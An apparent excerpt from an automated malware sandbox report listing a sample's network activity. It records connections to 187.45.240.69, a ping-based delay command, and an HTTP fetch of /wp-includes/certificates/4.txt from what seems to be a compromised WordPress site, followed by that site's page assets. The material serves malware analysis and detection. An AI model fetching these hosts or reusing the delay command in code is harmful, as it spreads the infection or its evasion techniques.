Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49782 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49782 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49782 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49782 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49782 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49782 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49782 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.3:49781 -> 187.45.240.69:80

Networking

barindex
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: Joe Sandbox ViewIP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox ViewIP Address: 104.18.10.207 104.18.10.207
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: translate.google.com
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
